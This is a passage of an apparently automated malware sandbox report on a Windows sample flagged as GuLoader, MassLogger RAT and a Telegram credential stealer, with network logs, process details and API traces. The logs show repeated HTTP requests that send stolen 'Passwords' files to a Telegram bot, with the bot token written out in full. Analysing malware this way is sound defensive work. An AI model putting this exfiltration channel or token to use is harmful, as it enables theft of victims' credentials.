2025-01-10 21:14:49 UTC	546	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 33 35 36 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 33 36 38 39 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":43566,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1736543689,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.7	49998	149.154.167.220	443	4136	C:\Users\user\Desktop\V7OHj6ISEo.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:14:50 UTC	275	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd32ae783eaad9 Host: api.telegram.org Content-Length: 1090
2025-01-10 21:14:50 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 61 65 37 38 33 65 61 61 64 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd32ae783eaad9Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 21:14:51 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 21:14:50 GMT Content-Type: application/json Content-Length: 546 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 21:14:51 UTC	546	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 33 35 36 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 33 36 39 30 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":43567,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1736543690,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.7	50000	149.154.167.220	443	4136	C:\Users\user\Desktop\V7OHj6ISEo.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:14:52 UTC	275	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd32c53cdad8c3 Host: api.telegram.org Content-Length: 1090
2025-01-10 21:14:52 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 63 35 33 63 64 61 64 38 63 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd32c53cdad8c3Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 21:14:53 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 21:14:53 GMT Content-Type: application/json Content-Length: 546 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 21:14:53 UTC	546	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 33 35 36 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 33 36 39 33 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":43568,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1736543693,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.7	50002	149.154.167.220	443	4136	C:\Users\user\Desktop\V7OHj6ISEo.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:14:55 UTC	299	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd32d9402b67ea Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 21:14:55 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 64 39 34 30 32 62 36 37 65 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd32d9402b67eaContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 21:14:55 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 21:14:55 GMT Content-Type: application/json Content-Length: 546 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 21:14:55 UTC	546	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 33 35 36 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 33 36 39 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":43569,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1736543695,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.7	50004	149.154.167.220	443	4136	C:\Users\user\Desktop\V7OHj6ISEo.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:14:57 UTC	275	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd32ed305fb91e Host: api.telegram.org Content-Length: 1090
2025-01-10 21:14:57 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 65 64 33 30 35 66 62 39 31 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd32ed305fb91eContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 21:14:57 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 21:14:57 GMT Content-Type: application/json Content-Length: 546 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 21:14:57 UTC	546	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 33 35 37 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 33 36 39 37 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":43570,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1736543697,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.7	50006	149.154.167.220	443	4136	C:\Users\user\Desktop\V7OHj6ISEo.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:14:58 UTC	275	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd3301104a174e Host: api.telegram.org Content-Length: 1090
2025-01-10 21:14:58 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 33 30 31 31 30 34 61 31 37 34 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd3301104a174eContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 21:14:59 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 21:14:59 GMT Content-Type: application/json Content-Length: 546 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 21:14:59 UTC	546	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 33 35 37 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 33 36 39 39 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":43571,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1736543699,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.7	50008	149.154.167.220	443	4136	C:\Users\user\Desktop\V7OHj6ISEo.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:15:00 UTC	299	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd3314dfea71ff Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 21:15:00 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 33 31 34 64 66 65 61 37 31 66 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd3314dfea71ffContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 21:15:00 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 21:15:00 GMT Content-Type: application/json Content-Length: 546 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 21:15:00 UTC	546	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 33 35 37 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 33 37 30 30 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":43572,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1736543700,"document":{"file_n

Target ID:	1
Start time:	16:13:04
Start date:	10/01/2025
Path:	C:\Users\user\Desktop\V7OHj6ISEo.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\V7OHj6ISEo.exe"
Imagebase:	0x400000
File size:	1'027'682 bytes
MD5 hash:	44CA4D83095D7F0372C1EAB439F633BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000001.00000002.1838395220.0000000005033000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	18:09:43
Start date:	10/01/2025
Path:	C:\Users\user\Desktop\V7OHj6ISEo.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\V7OHj6ISEo.exe"
Imagebase:	0x400000
File size:	1'027'682 bytes
MD5 hash:	44CA4D83095D7F0372C1EAB439F633BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 00000007.00000002.2563111506.000000003524B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000007.00000002.2563111506.000000003524B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000007.00000002.2563111506.000000003524B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	19.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	19.6%
Total number of Nodes:	1592
Total number of Limit Nodes:	38

Executed Functions

Function 004034A5 Relevance: 87.9, APIs: 32, Strings: 18, Instructions: 410
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE ref: 004034C8
GetVersion.KERNEL32 ref: 004034CE
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 00403501
#17.COMCTL32(?,00000006,00000008,0000000A), ref: 0040353E
OleInitialize.OLE32(00000000), ref: 00403545
SHGetFileInfoW.SHELL32(004216E8,00000000,?,000002B4,00000000), ref: 00403561
GetCommandLineW.KERNEL32(00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 00403576
CharNextW.USER32(00000000,"C:\Users\user\Desktop\V7OHj6ISEo.exe",00000020,"C:\Users\user\Desktop\V7OHj6ISEo.exe",00000000,?,00000006,00000008,0000000A), ref: 004035AE

Part of subcall function 004067C2: GetModuleHandleA.KERNEL32(?,00000020,?,00403517,0000000A), ref: 004067D4
Part of subcall function 004067C2: GetProcAddress.KERNEL32(00000000,?), ref: 004067EF

GetTempPathW.KERNEL32(00000400,C:\Users\user~1\AppData\Local\Temp\,?,00000006,00000008,0000000A), ref: 004036E8
GetWindowsDirectoryW.KERNEL32(C:\Users\user~1\AppData\Local\Temp\,000003FB,?,00000006,00000008,0000000A), ref: 004036F9
lstrcatW.KERNEL32(C:\Users\user~1\AppData\Local\Temp\,\Temp,?,00000006,00000008,0000000A), ref: 00403705
GetTempPathW.KERNEL32(000003FC,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,\Temp,?,00000006,00000008,0000000A), ref: 00403719
lstrcatW.KERNEL32(C:\Users\user~1\AppData\Local\Temp\,Low,?,00000006,00000008,0000000A), ref: 00403721
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,Low,?,00000006,00000008,0000000A), ref: 00403732
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user~1\AppData\Local\Temp\,?,00000006,00000008,0000000A), ref: 0040373A
DeleteFileW.KERNELBASE(1033,?,00000006,00000008,0000000A), ref: 0040374E

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,00000400,00403576,00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 004063F5

OleUninitialize.OLE32(00000006,?,00000006,00000008,0000000A), ref: 00403819
ExitProcess.KERNEL32 ref: 0040383A
lstrcatW.KERNEL32(C:\Users\user~1\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\V7OHj6ISEo.exe",00000000,00000006,?,00000006,00000008,0000000A), ref: 0040384D
lstrcatW.KERNEL32(C:\Users\user~1\AppData\Local\Temp\,0040A328,C:\Users\user~1\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\V7OHj6ISEo.exe",00000000,00000006,?,00000006,00000008,0000000A), ref: 0040385C
